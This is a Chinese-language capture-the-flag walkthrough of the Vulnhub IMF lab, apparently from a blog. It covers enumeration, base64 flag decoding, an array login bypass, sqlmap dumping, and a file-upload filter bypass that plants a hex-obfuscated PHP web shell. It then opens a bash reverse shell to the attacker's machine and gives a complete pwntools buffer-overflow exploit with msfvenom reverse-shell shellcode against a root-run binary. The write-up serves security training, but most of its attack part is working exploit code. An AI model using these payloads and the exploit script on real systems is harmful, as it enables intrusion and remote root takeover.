[Vulnhub] IMF File Upload Bypass&Buffer Overflow

信息收集

IP Address Opening Ports
192.168.8.103 TCP:80

$ nmap -p- 192.168.8.103 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)

Flag 1

image-25.png

http://192.168.8.103/contact.php

image.png

flag1{YWxsdGhlZmlsZXM=}

Flag 2

image-1.png

拼接几个文件名

$ echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ=='|base64 -d

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

Flag 3

$ echo 'aW1mYWRtaW5pc3RyYXRvcg=='|base64 -d

解密:imfadministrator

http://192.168.8.103/imfadministrator/

image-26.png

user=rmichaels&pass[]=123

image-2.png

flag3{Y29udGludWVUT2Ntcw==}

Flag 4

image-3.png

$ sqlmap -u "http://192.168.8.103/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=mtcagv7kevus11r651k0ekor65" -D admin -T pages --dump-all --batch

image-4.png

image-5.png

flag4{dXBsb2Fkcjk0Mi5waHA=}

Flag 5

$ echo "dXBsb2Fkcjk0Mi5waHA="|base64 -d

http://192.168.8.103/imfadministrator/uploadr942.php

image-27.png

Bypass 1

在请求体内添加GIF8;并且使用十六进制编码绕过WAF过滤system关键字


GIF8;
<?php
"\x73\79\x73\x74\x65\x6d"($_GET['cmd']);
?>

image-6.png

Bypass 2

$ echo 'FFD8FFEo' | xxd -r -p > test.gif
$ echo '<?php echo `id`; ?>' >> test.gif

GIF8;

<?php
echo `/bin/bash -c 'bash -i >& /dev/tcp/192.168.8.107/10032 0>&1'`;
?>

image-7.png

www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt

image-8.png

flag5{YWdlbnRzZXJ2aWNlcw==}

Flag 6

(Kali)$ ./chisel server -p 8888 --reverse

(tmp)$ ./chisel client 192.168.8.107:8888 R:7788:localhost:7788 &

(tmp)$ ./pspy32

image-9.png

当我们每次输入Agent ID后,会自动以ROOT权限启动一个agent进程

image-10.png

搜索相关agent命令

www-data@imf:/var/www/html/imfadministrator/uploads$ find / -name agent 2>/tmp/res

通过分析发现进入循环的条件是ID等于0x2ddd984(48093572)

image-11.png

report函数中的gets函数存在缓冲区溢出

image-13.png

image-28.png

GDB-Peda & BOF

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py">>~/.gdbinit
$ gdb -q ./agents

image-14.png

gdb-peda$ pattern_create 2000
gdb-peda$ pattern_offset 0x74414156

偏移量168

image-16.png

检查二进制文件上启用了哪些安全性

gdb-peda$ checksec

image-17.png

  • CANARY : disabled
    栈保护机制(Stack Canary)没有启用。栈保护是通过在栈帧中插入一个“金丝雀”(canary)值来检测缓冲区溢出攻击,如果金丝雀值被改变,程序会检测到溢出并终止

  • FORTIFY : disabled
    编译时没有启用 _FORTIFY_SOURCE,这是一个用于在编译和运行时增加内存函数安全检查的机制,例如 strcpy 和 memcpy

  • NX : disabled
    没有启用可执行空间保护(Non-Executable, NX)。NX 位用于标记内存区域为不可执行,以防止代码执行在这些区域(如栈或堆)

  • PIE : disabled
    没有启用位置无关可执行(Position Independent Executable, PIE)。PIE 使得可执行文件在每次加载时都随机化其内存地址,从而增加攻击难度

  • RELRO : Partial
    启用了部分的重定位只读(Relocation Read-Only, RELRO)。Partial RELRO 将 .got 部分设置为只读,以防止修改全局偏移表(GOT)

将二进制文件上传,分析获取call地址

http://ropshell.com/ropsearch?h=fabc1afd43f668df0b812213567d032c

image-18.png

在缓冲区168范围内写入ShellCode,通过覆盖EIP值跳转到Call eax(0x08048563)的地址,执行ShellCode。

使用 msfvenom 生成shellcode,要求它避免空字符和换行符。

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.107 LPORT=10034 -f python -b "\x00\x0a\x0d"

image-20.png

利用脚本

# By Maptnh
import argparse
from pwn import *


parser = argparse.ArgumentParser(description='Exploit script using pwntools.')
parser.add_argument('-rhost', required=True, help='Remote host IP address')
parser.add_argument('-rport', type=int, required=True, help='Remote host port')
parser.add_argument('-lport', type=int, required=True, help='Local port to listen on')
args = parser.parse_args()

ip = args.rhost
port = args.rport
local_port = args.lport

client = remote(ip, port)
initial_response = client.recv(512).decode()

# Convert strings to bytes before sending
client.sendline(b"48093572")
response1 = client.recv(512).decode()
client.sendline(b"3")

shellcode = (
    b"\xbe\xd7\x72\xc5\xb1\xd9\xeb\xd9\x74\x24\xf4\x58\x2b"
    b"\xc9\xb1\x12\x31\x70\x12\x03\x70\x12\x83\x17\x76\x27"
    b"\x44\xa6\xac\x50\x44\x9b\x11\xcc\xe1\x19\x1f\x13\x45"
    b"\x7b\xd2\x54\x35\xda\x5c\x6b\xf7\x5c\xd5\xed\xfe\x34"
    b"\x26\xa5\x09\xaf\xce\xb4\x09\x08\x3d\x30\xe8\xe6\x27"
    b"\x12\xba\x55\x1b\x91\xb5\xb8\x96\x16\x97\x52\x47\x38"
    b"\x6b\xca\xff\x69\xa4\x68\x69\xff\x59\x3e\x3a\x76\x7c"
    b"\x0e\xb7\x45\xff"
)

padding = b"A" * (168 - len(shellcode))

call_eax_gadget = b"\x63\x85\x04\x08\n"

payload = shellcode + padding + call_eax_gadget

listener = listen(local_port)
client.send(payload)
listener.wait_for_connection()
listener.interactive()

$ python3 exp.py -rhost 127.0.0.1 -rport 7788 -lport 10034

image-23.png

image-24.png

flag6{R2gwc3RQcm90MGMwbHM=}

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-11 07:08:02       53 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-11 07:08:02       55 阅读
  3. 在Django里面运行非项目文件

    2024-07-11 07:08:02       46 阅读
  4. Python语言-面向对象

    2024-07-11 07:08:02       56 阅读

热门阅读

  1. [PaddlePaddle飞桨] PaddleOCR图像小模型部署

    2024-07-11 07:08:02       21 阅读
  2. 一起来了解深度学习中的“梯度”

    2024-07-11 07:08:02       20 阅读
  3. linux之内存泄漏分析

    2024-07-11 07:08:02       17 阅读
  4. Kotlin Class

    2024-07-11 07:08:02       19 阅读
  5. uniapp vue3微信小程序如何获取dom元素

    2024-07-11 07:08:02       21 阅读
  6. ROI 接口便捷修改

    2024-07-11 07:08:02       15 阅读
  7. rknn部署rk3588

    2024-07-11 07:08:02       19 阅读
  8. 深入探索Apache Flink:流处理的艺术与实践

    2024-07-11 07:08:02       19 阅读
  9. python 之修改host配置

    2024-07-11 07:08:02       21 阅读
  10. 使用Python + Scrapy + Django构建企业级爬虫平台

    2024-07-11 07:08:02       23 阅读